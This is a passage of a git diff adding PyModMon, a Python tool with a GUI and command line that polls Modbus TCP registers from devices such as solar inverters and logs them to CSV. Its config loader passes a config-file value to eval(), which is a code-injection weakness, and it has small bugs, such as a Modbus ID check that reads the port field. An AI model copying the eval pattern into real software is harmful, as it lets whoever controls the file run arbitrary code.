|--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 